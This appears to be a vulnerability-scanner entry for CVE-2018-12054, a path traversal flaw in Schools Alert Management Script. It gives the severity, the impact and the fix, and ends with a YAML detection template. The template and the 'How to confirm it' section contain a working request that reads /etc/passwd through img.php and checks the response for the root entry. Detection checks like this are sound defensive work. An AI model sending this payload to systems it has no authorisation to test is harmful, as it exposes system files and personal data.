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CVE-2018-12054· schools alert management script project / schools alert management script· CWE-22

Schools Alert Management Script - Arbitrary File Read

highseverity

7.5CVSS score

40.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal.

Impact

This vulnerability can lead to unauthorized access to sensitive information stored on the system, potentially exposing personal data of students, staff, and other stakeholders.

Fix

Apply the latest patch or update provided by the vendor to fix the arbitrary file read vulnerability in the Schools Alert Management Script.

How to confirm it

Send: GET {{BaseURL}}/img.php?f=/./etc/./passwd
Positive when: matches /root:.*:0:0:/ AND status 200

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The full check

id: CVE-2018-12054

info:
  name: Schools Alert Management Script - Arbitrary File Read
  author: wisnupramoedya
  severity: high
  description: Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the system, potentially exposing personal data of students, staff, and other stakeholders.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the arbitrary file read vulnerability in the Schools Alert Management Script.
  reference:
    - https://www.exploit-db.com/exploits/44874
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12054
    - https://github.com/unh3x/just4cve/issues/4
    - https://www.exploit-db.com/exploits/44874/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12054
    cwe-id: CWE-22
    epss-score: 0.40114
    epss-percentile: 0.98648
    cpe: cpe:2.3:a:schools_alert_management_script_project:schools_alert_management_script:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: schools_alert_management_script_project
    product: schools_alert_management_script
  tags: cve,cve2018,lfi,edb,schools_alert_management_script_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/img.php?f=/./etc/./passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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